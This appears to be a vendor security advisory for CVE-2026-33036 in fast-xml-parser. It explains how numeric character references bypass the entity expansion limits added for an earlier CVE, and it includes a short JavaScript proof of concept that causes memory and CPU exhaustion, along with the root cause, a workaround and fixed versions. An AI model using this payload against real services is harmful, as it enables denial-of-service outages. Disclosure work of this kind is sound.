CVE-2026-33036

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

1. Lines 638-670: DOCTYPE entities, expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
2. Lines 674-677: lastEntities loop, replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references, should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars, bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

• 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000)
• 1M references → 5,000,000 char output, ~147MB memory consumed
• Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
• Hex entities (A) exhibit the same bypass

Workaround

Set htmlEntities:false

Denial of Service, An attacker who can provide XML input to applications using fast-xml-parser can cause:

• Excessive memory allocation (147MB+ for 1M entity references)
• CPU consumption during regex replacement
• Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

CVE-2026-33036 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.5.6, 4.5.5); upgrading removes the vulnerable code path.

Kodem intelligence

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

1. What is CVE-2026-33036? CVE-2026-33036 is a high-severity security vulnerability in fast-xml-parser (npm), affecting versions >= 5.0.0, < 5.5.6. It is fixed in 5.5.6, 4.5.5.
2. How severe is CVE-2026-33036? CVE-2026-33036 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fast-xml-parser are affected by CVE-2026-33036? fast-xml-parser (npm) versions >= 5.0.0, < 5.5.6 is affected.
4. Is there a fix for CVE-2026-33036? Yes. CVE-2026-33036 is fixed in 5.5.6, 4.5.5. Upgrade to this version or later.
5. Is CVE-2026-33036 exploitable, and should I be worried? Whether CVE-2026-33036 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33036 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33036?
   • Upgrade fast-xml-parser to 5.5.6 or later
   • Upgrade fast-xml-parser to 4.5.5 or later